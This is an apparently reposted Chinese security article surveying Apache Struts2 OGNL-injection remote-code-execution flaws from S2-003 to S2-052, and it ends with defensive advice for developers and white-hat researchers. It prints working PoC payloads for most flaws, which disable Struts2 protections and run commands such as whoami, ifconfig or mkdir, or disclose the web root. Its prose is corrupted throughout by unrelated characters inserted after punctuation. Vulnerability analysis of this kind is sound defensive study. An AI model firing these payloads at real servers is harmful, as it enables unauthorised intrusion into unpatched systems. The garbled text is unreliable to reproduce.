轉(zhuǎn)載自:千里目安全實驗室彪置,來自FreeBuf.COM泡垃。https://www.freebuf.com/vuls/168609.html
0×01?前言
從2007年7月23日發(fā)布的第一個Struts2漏洞S2-001到2017年12月發(fā)布的最新漏洞S2-055努释,跨度足足有十年苫耸,而漏洞的個數(shù)也升至55個夹姥。分析了Struts2的這55個漏洞發(fā)現(xiàn)杉武,基本上是RCE、XSS佃声、CSRF艺智、DOS、目錄遍歷和其他功能缺陷漏洞等等圾亏。本篇文章十拣,重點關(guān)注威脅性較大的那些著名RCE漏洞,也是黑客們比較喜歡利用的志鹃。
要說著名RCE(遠程代碼執(zhí)行)漏洞夭问,Struts2框架漏洞無外乎就那么十幾個,一經(jīng)爆發(fā)就被各安全廠商作為高危緊急漏洞處理曹铃,其余的一些漏洞缰趋,并沒有得到很多的重視,基本上是危害不大或難以利用陕见。在此秘血,列出一些當年風(fēng)靡一時過的漏洞:S2-003、S2-005评甜、S2-007灰粮、S2-008、S2-009忍坷、S2-012粘舟、S2-013、S2-015佩研、S2-016柑肴、S2-019、S2-029旬薯、S2-032晰骑、S2-033、S2-037绊序、S2-045硕舆、S2-046隶症、S2-048、S2-052岗宣。這里列出的只是個人覺得比較有名的Struts2框架漏洞,也許還不全淋样,或者其中的漏洞并沒有作者說的那么有名耗式,僅作為參考,希望能給讀者帶來一些收獲趁猴。
雖然上述漏洞那么多刊咳,但是其本質(zhì)都是一樣的(除了S2-052以外),都是Struts2框架執(zhí)行了惡意用戶傳進來的OGNL表達式儡司,造成遠程代碼執(zhí)行娱挨。可以造成“命令執(zhí)行捕犬、服務(wù)器文件操作跷坝、打印回顯、獲取系統(tǒng)屬性碉碉、危險代碼執(zhí)行”等柴钻,只不過需要精心構(gòu)造不同的OGNL代碼而已。那么垢粮,漏洞都是如何觸發(fā)贴届,或者說,如何注入OGNL表達式蜡吧,造成RCE毫蚓,下面用一個表來簡要概括:
上面表格可以說是簡要總結(jié)了下請求可注入的地方,涵蓋了HTTP請求的多個點昔善,并且有些點爆發(fā)的漏洞不止一個元潘。參數(shù)名注入有S2-003、S2-005耀鸦,cookie名注入在官方S2-008漏洞介紹的第二個提到過柬批;參數(shù)值注入就比較多了,包括S2-007袖订、S2-009氮帐、S2-012等基本都是;filename注入是指S2-046漏洞洛姑,content-type注入是指S2-045漏洞上沐;URL的action名稱處注入是S2-015漏洞。先做個簡要了解楞艾,下面會對各個漏洞的觸發(fā)進行分別介紹参咙,由于文章篇幅有限龄广,不可能每個漏洞都展開分析,所以僅作個總結(jié)性的介紹蕴侧。
0×02 著名RCE漏洞總結(jié)
1择同、S2-003/S2-005漏洞
這兩個漏洞有著密不可分的聯(lián)系,根據(jù)先后順序净宵,從S2-003入手敲才。S2-003漏洞發(fā)生在請求參數(shù)名,Struts2框架會對每個請求參數(shù)名解析為OGNL語句執(zhí)行择葡,因此紧武,惡意用戶可通過在參數(shù)名處注入預(yù)先設(shè)定好的OGNL語句來達到遠程代碼執(zhí)行的攻擊效果;漏洞就出現(xiàn)在com.opensymphony.xwork2.interceptor.ParametersInterceptor這個攔截器中敏储,如下圖所示:
S2-003的PoC:
(b)(('%5C43context[%5C'xwork.MethodAccessor.denyMethodExecution%5C']%5C75false')(b))&(g)(('%5C43req%5C75@org.apache.struts2.ServletActionContext@getRequest()')(d))&(i2)(('%5C43xman%5C75@org.apache.struts2.ServletActionContext@getResponse()')(d))&(i95)(('%5C43xman.getWriter().println(%5C43req.getRealPath(%22\%22))')(d))&(i99)(('%5C43xman.getWriter().close()')(d))
S2-005的PoC:
('%5C43_memberAccess.allowStaticMethodAccess')(a)=true&(b)(('%5C43context[%5C'xwork.MethodAccessor.denyMethodExecution%5C']%5C75false')(b))&('%5C43c')(('%5C43_memberAccess.excludeProperties%5C75@java.util.Collections@EMPTY_SET')(c))&(g)(('%5C43req%5C75@org.apache.struts2.ServletActionContext@getRequest()')(d))&(i2)(('%5C43xman%5C75@org.apache.struts2.ServletActionContext@getResponse()')(d))&(i2)(('%5C43xman%5C75@org.apache.struts2.ServletActionContext@getResponse()')(d))&(i95)(('%5C43xman.getWriter().print(%22S2-005? ? ? ? dir--***%22)')(d))&(i95)(('%5C43xman.getWriter().println(%5C43req.getRealPath(%22\%22))')(d))&(i99)(('%5C43xman.getWriter().close()')(d))
上面兩個PoC的功能都是Web路徑探測并打印回顯阻星。兩個漏洞都需要對#字符進行編碼,繞過Struts2框架對#字符的過濾已添。觀察兩個PoC妥箕,可以發(fā)現(xiàn),S2-005前面多了一段(‘%5C43_memberAccess.allowStaticMethodAccess’)(a)=true更舞,打開安全配置(靜態(tài)方法調(diào)用)矾踱,其實官方對S2-003的修復(fù)就只是關(guān)閉靜態(tài)方法調(diào)用,繞過這個修復(fù)很簡單疏哗,所以就有了S2-005呛讲。
2、S2-007漏洞
用戶輸入將被當作OGNL表達式解析返奉,當對用戶輸入進行驗證出現(xiàn)類型轉(zhuǎn)換錯誤時贝搁。如配置了驗證規(guī)則<ActionName>-validation.xml時,若類型驗證轉(zhuǎn)換出錯芽偏,后端默認會將用戶提交的表單值通過字符串拼接雷逆,然后執(zhí)行一次OGNL表達式解析并返回。
漏洞PoC:
'%2b(%23_memberAccess.allowStaticMethodAccess=true,%23context["xwork.MethodAccessor.denyMethodExecution"]=false,%23cmd="ifconfig",%23ret=@java.lang.Runtime@getRuntime().exec(%23cmd),%23data=new+java.io.DataInputStream(%23ret.getInputStream()),%23res=new+byte[500],%23data.readFully(%23res),%23echo=new+java.lang.String(%23res),%23out=@org.apache.struts2.ServletActionContext@getResponse(),%23out.getWriter().println(%23echo))%2b'
PoC為何這樣寫污尉,是因為需要后端用代碼拼接”‘” + value + “‘”然后對其進行OGNL表達式解析膀哲。
3、S2-008漏洞
這個編號被碗,官方發(fā)布了四個漏洞某宪,其實,第1锐朴、3兴喂、4分別是S2-007、S2-009、S2-019漏洞衣迷。第2個說的是CookieInterceptor攔截器缺陷畏鼓,利用道理和S2-005差不多,只不過是在cookie名稱處注入壶谒,由于大多 Web 容器(如 Tomcat)對 Cookie 名稱都有字符限制云矫,一些關(guān)鍵字符無法使用使得這個點顯得比較雞肋,網(wǎng)上也并沒有相關(guān)分析介紹汗菜。
4泼差、S2-009漏洞
談起這個漏洞,絕對要回顧下S2-003/S2-005漏洞呵俏,兩者的共同點是同樣是發(fā)生在ParametersInterceptor攔截器中的漏洞。只不過在S2-005漏洞中滔灶,OGNL表達式通過參數(shù)名處注入普碎,造成遠程命令執(zhí)行,而S2-009漏洞的OGNL表達式通過參數(shù)值注入录平÷槌担看一段PoC:
foo=%28%23context[%22xwork.MethodAccessor.denyMethodExecution%22]%3D+new+java.lang.Boolean%28false%29,%20%23_memberAccess[%22allowStaticMethodAccess%22]%3d+new+java.lang.Boolean%28true%29,%20@java.lang.Runtime@getRuntime%28%29.exec%28%27mkdir%20/tmp/PWNAGE%27%29%29%28meh%29&z[%28foo%29%28%27meh%27%29]=true
因此,S2-009漏洞可以繞過ParametersInterceptor攔截器對參數(shù)名的限制斗这。至于,漏洞是如何觸發(fā)執(zhí)行的赁咙,可以簡要介紹下免钻。foo參數(shù)值必須是action的字符串變量彼水,OGNL表達式被寫入foo變量中,然后ParametersInterceptor攔截器在對第二參數(shù)名處理時极舔,會取出foo值并作為OGNL表達式解析執(zhí)行,造成遠程代碼執(zhí)行漏洞拆魏。
5、S2-012漏洞
漏洞利用正如官方所說的渤刃,需要滿足一定的條件拥峦。首先,得找到action中的字符串變量name卖子,將OGNL表達式注入進去事镣。隨后,如下圖璃哟,配置文件中得有重定向類型,并且重定向的鏈接中存在${name}取值操作阳似,那么注入進的OGNL表達式就會執(zhí)行。
PoC展示:
%{(#_memberAccess['allowStaticMethodAccess']=true)(#context['xwork.MethodAccessor.denyMethodExecution']=false) #hackedbykxlzx=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),#hackedbykxlzx.println('hacked by kxlzx'),#hackedbykxlzx.close())}
6撮奏、S2-013漏洞
這個漏洞当宴,確實有點不好利用,需要在JSP頁面中將s:url户矢、s:a標簽中的includeParams屬性設(shè)定為get或all,一般很少有開發(fā)這么做梯浪,但是畢竟世界之大,無奇不有礼预。如果存在相應(yīng)的漏洞環(huán)境虏劲,直接將PoC貼在action請求或者JSP頁面請求的后面托酸。
PoC展示:
fakeParam=%25%7B(%23_memberAccess%5B'allowStaticMethodAccess'%5D%3Dtrue)(%23context%5B'xwork.MethodAccessor.denyMethodExecution'%5D%3Dfalse)(%23writer%3D%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2C%23writer.println('hacked')%2C%23writer.close())%7D
其中的變量名是任意的获高。利用時要確保action請求跳轉(zhuǎn)到的JSP或者請求的JSP中存在將includeParams屬性設(shè)定為get或all的s:url、s:a標簽念秧。
7布疼、S2-015漏洞
這個漏洞,先參考下官方給的配置游两,如下:
再展示下PoC:
${%23context['xwork.MethodAccessor.denyMethodExecution']=!(%23_memberAccess['allowStaticMethodAccess']=true),(@java.lang.Runtime@getRuntime()).exec('calc').waitFor()}.action
是一段彈計算器的PoC。上述配置能讓我們訪問 name.action 時使用 name.jsp 來渲染頁面肛炮,但是在提取 name 并解析時,對其執(zhí)行了 OGNL 表達式解析侨糟,所以導(dǎo)致命令執(zhí)行。
8秕重、S2-016漏洞
S2-016漏洞算是Struts2漏洞界的經(jīng)典,當時也是風(fēng)靡一時二拐。首先凳兵,可以查一下”action:”, “redirect:” 百新,”redirectAction:”等前綴參數(shù)是干什么的庐扫,如果不知道也沒關(guān)系,說一下漏洞是如何觸發(fā)的。在請求action時藻治,后面跟上前綴參數(shù),前綴參數(shù)后面直接寫上OGNL表達式桩卵,像下面PoC展示。
PoC展示:
redirect:$%7B%23a%3d%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletRequest'),%23b%3d%23a.getRealPath(%22/%22),%23matt%3d%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse'),%23matt.getWriter().println(%23b),%23matt.getWriter().flush(),%23matt.getWriter().close()%7D
上面的OGNL表達式會造成Web路徑探測并打印回顯胜嗓。沒錯钩乍,就是這么簡單,利用十分方便寥粹,所以當時受到了相當?shù)闹匾暠涔V劣诼┒词侨绾斡|發(fā)涝涤,主要是發(fā)生在DefaultActionMapper中,這個可自行跟蹤調(diào)試崭孤。
9、S2-019漏洞
這個漏洞在說S2-008的時候提到過辨宠,屬于S2-008發(fā)布的第四個漏洞,也就是DebuggingInterceptor攔截器中的缺陷漏洞彭羹。這個漏洞要保證配置中的開發(fā)模式是打開的,<constant name=”struts.devMode” value=”true” />还最。
PoC展示:
debug=command&expression=%23res%3d%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse'),%23res.setCharacterEncoding(%22UTF-8%22),%23req%3d%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletRequest'),%23res.getWriter().print(%22S2-019? ? ? ? dir--***%22),%23res.getWriter().println(%23req.getSession().getServletContext().getRealPath(%22/%22)),%23res.getWriter().flush(),%23res.getWriter().close()
上述PoC的寫法毡惜,包括參數(shù)名都是固定寫法,漏洞觸發(fā)是在DebuggingInterceptor這個攔截器類中经伙,所以在跟蹤調(diào)試時候需要好好研究這個類,就會明白PoC的形式為何這么寫帕膜。
10、S2-029漏洞
官方標注漏洞等級為Important达吞,算是中危漏洞了荒典。這個漏洞利用,可以說是非常難寺董,漏洞的原理是二次OGNL表達式執(zhí)行,在框架中是存在幾處遮咖,比如i18n源碼處、UIBean處等等踢械。
PoC展示:
(%23_memberAccess['allowPrivateAccess']=true,%23_memberAccess['allowProtectedAccess']=true,%23_memberAccess['excludedPackageNamePatterns']=%23_memberAccess['acceptProperties'],%23_memberAccess['excludedClasses']=%23_memberAccess['acceptProperties'],%23_memberAccess['allowPackageProtectedAccess']=true,%23_memberAccess['allowStaticMethodAccess']=true,@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('whoami').getInputStream()))
11魄藕、S2-032/S2-033/S2-037漏洞
這三個漏洞都是抓住了DefaultActionInvocation中會把ActionProxy中的method屬性取出來放入到ognlUtil.getValue(methodName + “()”, getStack().getContext(), action);方法中執(zhí)行OGNL表達式。因此背率,想方設(shè)法將惡意構(gòu)造的OGNL表達式注入到method中嫩与。S2-032是通過前綴參數(shù)“method:OGNL表達式”的形式交排;S2-033是通過“actionName!method”的方式,用OGNL表達式將method替換埃篓;S2-037是通過“actionName/id/methodName”的方式,用OGNL表達式將methodName替換同窘。三種漏洞只是注入形式不一樣部脚,PoC完全可以復(fù)用想邦,OGNL表達式執(zhí)行的點也一樣委刘,上面已經(jīng)說到。
PoC展示:
%23_memberAccess%3d@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,%23req%3d%40org.apache.struts2.ServletActionContext%40getRequest(),%23res%3d%40org.apache.struts2.ServletActionContext%40getResponse(),%23res.setCharacterEncoding(%23parameters.encoding[0]),%23path%3d%23req.getRealPath(%23parameters.pp[0]),%23w%3d%23res.getWriter(),%23w.print(%23path),1?%23xx:%23request.toString&pp=%2f&encoding=UTF-8
12呕童、S2-045/S2-046漏洞
S2-045漏洞和S2-046漏洞非常相似淆珊,都是由報錯信息包含OGNL表達式,并且被帶入了buildErrorMessage這個方法運行套蒂,造成遠程代碼執(zhí)行茫蛹,兩個漏洞的PoC可以復(fù)用。S2-045只有一種觸發(fā)形式婴洼,就是將OGNL表達式注入到HTTP頭的Content-Type中;S2-046則有兩種利用形式欢唾,第一是Content-Length 的長度值超長粉捻,第二是Content-Disposition的filename存在空字節(jié),但兩種觸發(fā)形式其OGNL表達式注入點都是Content-Disposition的filename中肩刃。
PoC展示:
%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#context.setMemberAccess(#dm)))).(#o=@org.apache.struts2.ServletActionContext@getResponse().getWriter()).(#o.println(88888888-23333+1222)).(#o.close())}
13杏头、S2-048漏洞
在看這個漏洞前沸呐,可以去看看官網(wǎng)的S2-027的介紹,意思就是寓娩,在框架中存在兩個函數(shù)會解析執(zhí)行OGNL表達式呼渣,TextParseUtil.translateVariables方法和ActionSupport’s getText方法棘伴。S2-048漏洞就是因為struts2-struts1-plugin插件中存在將OGNL表達式傳入上述方法的情況徙邻,所以導(dǎo)致遠程代碼執(zhí)行;至于以什么形式注入OGNL表達式淳地,當然是以參數(shù)值的形式注入帅容,以哪個參數(shù)來注入要根據(jù)后端代碼在哪用struts2-struts1-plugin插件來追蹤,一般可以用PoC去fuzz并徘。網(wǎng)上有以struts2-showcase.war項目為例介紹漏洞分析,可用這個項目來跟蹤漏洞原理蕴茴。
PoC展示:
%25%7b%28%23nike%3d%27multipart%2fform-data%27%29.%28%23dm%3d@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS%29.%28%23_memberAccess%3f%28%23_memberAccess%3d%23dm%29%3a%28%28%23context.setMemberAccess%28%23dm%29%29%29%29.%28%23o%3d@org.apache.struts2.ServletActionContext@getResponse%28%29.getWriter%28%29%29.%28%23req%3d@org.apache.struts2.ServletActionContext@getRequest%28%29%29.%28%23path%3d%23req.getRealPath%28%27%2f%27%29%29.%28%23o.println%28%23path%29%29.%28%23o.close%28%29%29%7d
14姐直、S2-052漏洞
這個漏洞也算是轟動一時,其實声畏,跟上面說的那些注入OGNL表達式,達到遠程代碼執(zhí)行的方式還不大一樣愿棋,S2-052漏洞是一種XML反序列化漏洞。漏洞本質(zhì)是Struts2 REST插件的XStream組件存在反序列化漏洞糠雨,當使用XStream組件對XML格式的數(shù)據(jù)包進行反序列化操作時徘跪,沒有對數(shù)據(jù)內(nèi)容進行有效驗證砂竖,存在反序列化后遠程代碼執(zhí)行安全隱患鹃答。
0×03 展望
分析漏洞的最終目的是如何更好的防御,無論是網(wǎng)站開發(fā)人員還是專業(yè)的白帽子测摔,都需要知道如何提前預(yù)防Struts2框架漏洞。在此浙于,有一些展望和建議,希望對開發(fā)人員和白帽子有所作用羞酗。
網(wǎng)站開發(fā)人員紊服。在接收客戶端傳過來的請求時,無論是HTTP請求頭還是請求體的內(nèi)容欺嗤,都是不可信的,都需要進行有效地驗證和過濾讹挎∵壕粒回顧以往出現(xiàn)的Struts2漏洞,惡意OGNL表達式的注入點無處不在沾乘,但隨著Struts2框架版本的迭代,很多漏洞也被修補烦周,所以開發(fā)人員需要使用最新版本的框架尽爆,但是也不能完全相信框架的安全性,在基于框架的二次開發(fā)時槐雾,需要有自己的數(shù)據(jù)驗證模塊幅狮。從以往的請求注入點來看株灸,開發(fā)人員需要對request中的請求參數(shù)名擎值、參數(shù)值、cookie參數(shù)名鸠儿、action的名稱、Content-Type內(nèi)容汹粤、filename的內(nèi)容、請求體內(nèi)容(反序列化漏洞)嘱兼,進行驗證贤徒;如何驗證,只需要根據(jù)以往PoC的特征去做相關(guān)的驗證判斷接奈。
網(wǎng)絡(luò)安全守護者——白帽子。專業(yè)的網(wǎng)絡(luò)安全人員斯嚎,對于漏洞的理解也許比開發(fā)人員更深刻挨厚,因此,拋磚引玉疫剃。對于Struts2漏洞的防御規(guī)則,抓住重要的點即可牲阁,就是惡意OGNL表達式的特征壤躲,針對需要遠程執(zhí)行的類和函數(shù)進行提取防御特征城菊,此外碉克,還需要結(jié)合惡意OGNL表達式注入點的特征,可避免規(guī)則誤報客税,從而影響網(wǎng)站正常業(yè)務(wù),如S2-045漏洞更耻,就需要結(jié)合Content-Type這個特征。
攻防的較量從未停止赐纱,黑客與白帽子間的斗爭也越演越烈熬北。在Struts2框架漏洞這個戰(zhàn)場上,需要持續(xù)深入地研究讶隐,才能占有主動權(quán)。